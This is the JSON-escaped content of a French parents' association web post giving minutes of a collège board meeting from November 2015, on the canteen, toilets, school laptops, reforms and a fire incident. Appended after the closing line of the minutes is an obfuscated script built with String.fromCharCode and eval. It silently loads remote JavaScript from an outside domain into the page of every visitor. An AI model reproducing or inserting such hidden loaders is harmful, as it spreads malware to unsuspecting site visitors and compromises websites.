\u00e9ch\u00e9ancier alors que les ch\u00e8ques sont encaiss\u00e9s le m\u00eame jour ?<br \/>\nMr Le Turdu a fait trois versements qu\u2019il a transmis \u00e0 l\u2019agence bancaire sous enveloppes diff\u00e9rentes. Il va prendre contact avec le responsable..<\/p>\n<p><strong>Rue de la R\u00e9publique :<\/strong><br \/>\nLa travers\u00e9e est dangereuse, que peut-on pr\u00e9voir pour s\u00e9curiser la travers\u00e9e des \u00e9l\u00e8ves ?<br \/>\n(r\u00e9ponse d\u00e9j\u00e0 apport\u00e9e pr\u00e9c\u00e9demment).<\/p>\n<p><strong>Coop\u00e9rative scolaire :<\/strong><br \/>\nNe serait-il pas plus judicieux de la donner en d\u00e9but d&rsquo;ann\u00e9e scolaire plut\u00f4t qu&rsquo;en juin ?<br \/>\nUne 1\u00e8re demande est envoy\u00e9e en juin mais les ch\u00e8ques ne sont pas encaiss\u00e9s avant septembre. Elle est demand\u00e9e en juin car d\u2019autres frais sont pr\u00e9vus en septembre pour les familles. Le but \u00e9tant de donner tous les papiers en m\u00eame temps en juin.<br \/>\nLes enseignants proposent de faire une relance avant la fin de l\u2019ann\u00e9e.<br \/>\nLa coop\u00e9rative pourrait aider en particulier le club robotique qui participe au concours \u00ab C\u2019est g\u00e9nial \u00bb.<br \/>\nDix \u00e9tablissement sur l\u2019acad\u00e9mie ont per\u00e7u une dotation de 100 \u20ac l\u2019an pass\u00e9 pour ce concours. 18 \u00e9l\u00e8ves sont inscrits : 5 en 4\u00e8me et 13 en 3\u00e8me. Une demande de 500 \u20ac a \u00e9t\u00e9 faite au rectorat mais n\u2019a pas \u00e9t\u00e9 obtenue. Mme Pradier propose de porter le dossier au d\u00e9partement pour l&rsquo;obtention d&rsquo;une aide.<\/p>\n<p><strong>Absent\u00e9isme des professeurs :<\/strong><br \/>\nLes parents souhaitent \u00eatre inform\u00e9s des absences pr\u00e9visibles des professeurs via le carnet de correspondance.<br \/>\nLa plupart des professeurs font noter leurs absences dans les carnets de correspondance, mais certains ne le font pas.<br \/>\nMme Britel propose de r\u00e9cup\u00e9rer les heures creuses pour apporter du soutien scolaire. Le jeudi de 8h \u00e0 9 h pour les \u00e9l\u00e8ves de 3\u00e8me, et les cr\u00e9neaux de piscine et d\u2019allemand pour finaliser les \u00e9valuations de 6\u00e8me<\/p>\n<p><strong>R\u00e9forme du coll\u00e8ge :<\/strong><br \/>\nQuid de la r\u00e9forme du coll\u00e8ge et de la mise en place des nouveaux programmes de l&rsquo;enseignement moral et civique ?<br \/>\nUn \u00e9diteur envoie r\u00e9guli\u00e8rement aux enseignants des mails, mais aucun montant n\u2019est pr\u00e9vu pour l\u2019achat de nouveaux manuels scolaires. Les nouveaux programmes se feront sans manuels.<\/p>\n<p><strong>Toilettes :<\/strong><br \/>\nProbl\u00e9matique du cr\u00e9neau horaire des toilettes et de l&rsquo;acc\u00e8s au papier toilette.<br \/>\nLe d\u00e9rouleur et les savons sont souvent d\u00e9grad\u00e9s. Les toilettes du hall sont ouvertes en cas d\u2019 \u00ab urgence \u00bb, il n\u2019y a pas de toilettes \u00e0 l\u2019\u00e9tage. Il y a toujours un adulte au niveau de la loge pour ouvrir \u00e0 l&rsquo;interclasse si besoin.<\/p>\n<p><strong>c) FCPE<\/strong><\/p>\n<p><strong>Voyage au ski 15 au 21 janvier, voyage en Italie :<\/strong><br \/>\nQuelle contraintes sur les sorties avec Vigipirate et pendant l\u2019\u00e9tat d\u2019urgence?<br \/>\n(R\u00e9ponse apport\u00e9e pr\u00e9c\u00e9demment)<\/p>\n<p><strong>Ordival:<\/strong><br \/>\nUsage en math\u00e9matiques en classe.<br \/>\nLa classe de 5\u00e8me B a trois heures de math\u00e9matiques dans la m\u00eame journ\u00e9e, les \u00e9l\u00e8ves doivent<br \/>\napporter l&rsquo;ordival et le livre.. M.Bamba, pour essayer de maintenir l&rsquo;attention des \u00e9l\u00e8ves, se voitcontraint de varier les activit\u00e9s.<br \/>\nComment permettre aux parents qui ont perdu leur code administrateur de reprendre la main sur l&rsquo;ordival ?<br \/>\nConcernant le code administrateur, le coll\u00e8ge n\u2019est pas responsable, c\u2019est le service du d\u00e9partement qu&rsquo;il faut contacter (probl\u00e8me pour certains parents de t\u00e9l\u00e9phoner en journ\u00e9e).<br \/>\nQuel bilan de vols \/ casse ? Quelle gestion pour les \u00e9l\u00e8ves de 3 \u00e8me qui quitteront le coll\u00e8ge en juin<br \/>\n2016 ?<br \/>\nAucune r\u00e9ponse n\u2019est apport\u00e9e concernant la r\u00e9cup\u00e9ration des ordinateurs pour les 3\u00e8mes.<br \/>\nActuellement,l\u2019ordinateur est rendu au coll\u00e8ge lorsque l\u2019\u00e9l\u00e8ve quitte le d\u00e9partement, sinon il est gard\u00e9 par l&rsquo;\u00e9l\u00e8ve. Si un \u00e9l\u00e8ve vient d\u2019une autre acad\u00e9mie, on lui en livre un au coll\u00e8ge.<br \/>\nVol, casse : pas connaissance de ce type de probl\u00e8me sur l\u2019\u00e9tablissement.<\/p>\n<p><strong>R\u00e9forme du coll\u00e8ge :<\/strong><br \/>\nCombien d\u2019enseignant ont suivi une formation, y a-t-il des projets, des budgets pr\u00e9vus?<br \/>\nPour le moment trois enseignants ont suivi une formation. Il n\u2019est pas pr\u00e9vu de budget, mais les enseignants ont des projets.<\/p>\n<p><strong>Cours de math en 5eme B :<\/strong><br \/>\nEst-ce raisonnable d\u2019avoir une semaine sur deux, 3h de math\u00e9matiques dans la m\u00eame journ\u00e9e (le lundi)? Est-ce la seule classe concern\u00e9e ?<br \/>\nPas de solution. Mr Bamba essaie de varier au mieux les activit\u00e9s.<\/p>\n<p><strong>Ouverture du foyer :<\/strong><br \/>\nEst-ce exceptionnel que le foyer reste ferm\u00e9 ou structurel ?<br \/>\nLe foyer a \u00e9t\u00e9 ferm\u00e9 une fois en raison de l\u2019absence de deux surveillants. Etant au seuil plancher d&rsquo;encadrement, des difficult\u00e9s surviennent d\u00e8s qu&rsquo;un surveillant est absent. Le probl\u00e8me peut donc se reproduire.<\/p>\n<p><strong>Information des parents :<\/strong><br \/>\nPourquoi l\u2019information des parents n\u2019est pas syst\u00e9matique d\u00e8s que leur enfant est retenu au coll\u00e8ge en<br \/>\nfin d&rsquo;apr\u00e8s-midi (ex ATP non pr\u00e9vu et d\u00e9cid\u00e9 le jour m\u00eame, retenue) ?<br \/>\nMme Susini n\u2019est pas au courant de qui reste aux ATP et ne peut donc pas pr\u00e9venir les parents.<\/p>\n<p><strong>Cantine :<\/strong><br \/>\nSelon le retard pris dans la gestion des entr\u00e9es \u00e0 la cantine, il arrive r\u00e9guli\u00e8rement que des \u00e9l\u00e8ves aient moins de 10 min pour manger et pas grand choix d\u2019entr\u00e9e \/ dessert.<br \/>\nIl n&rsquo;y a pas de choix possible \u00e0 la cantine, parfois les denr\u00e9es non consomm\u00e9es la veille sont repropos\u00e9es aux \u00e9l\u00e8ves. En fin de service, il ne faut pas h\u00e9siter \u00e0 demander que les rayons soient r\u00e9assortis. Les professeurs pr\u00e9sents, qui mangent en fin de service, n\u2019ont pas l\u2019impression que les<br \/>\n\u00e9l\u00e8ves manquent de temps pour manger puisque vers 13h bien souvent il n\u2019y a plus d\u2019\u00e9l\u00e8ve au refectoire.<\/p>\n<p><strong>Fonctionnement des d\u00e9tecteurs de fum\u00e9e et de l\u2019alarme incendie :<\/strong><br \/>\nFormation des surveillants : suite \u00e0 l&rsquo;incident dans les toilettes des gar\u00e7ons, ? Y a-t-il eu une analyse,\u00a0que s\u2019est-il pass\u00e9 ?\u00a0Un \u00e9l\u00e8ve a utilis\u00e9 un briquet dans les toilettes des gar\u00e7ons pour allumer le distributeur d&rsquo;essuie mains.<br \/>\nLe personnel\u00a0est intervenu, il n\u2019y a pas eu d\u2019incendie. Un groupe d&rsquo;une vingtaine d&rsquo;\u00e9l\u00e8ves est concern\u00e9, personne ne s\u2019est d\u00e9nonc\u00e9, suspicion de deux \u00e9l\u00e8ves. Faut-il punir le groupe ?<br \/>\nN\u00e9cessit\u00e9 du maintien d&rsquo;une surveillance au niveau des toilettes.<br \/>\nIl n\u2019y a pas de d\u00e9tecteur de fum\u00e9e automatique dans l&rsquo;\u00e9tablissement, uniquement des d\u00e9tecteurs \u00e0 d\u00e9clenchement manuel.<\/p>\n<p>L\u2019ordre du jour \u00e9tant \u00e9puis\u00e9, la s\u00e9ance est lev\u00e9e \u00e0 20h36.<script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,51,46,48,46,51,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nos deux \u00e9lus ACCTIF Education au coll\u00e8ge nous ont transmis le compte-rendu du dernier conseil d&rsquo;administration qui a eu lieu le 24 novembre 2015.\u00a0N\u2019h\u00e9sitez pas \u00e0 nous soumettre vos questions, remarques&#8230; en \u00e9crivant\u00a0education@acctif.eu\u00a0afin que nos \u00e9lus puissent en parler\u00a0avec les repr\u00e9sentants du coll\u00e8ge. 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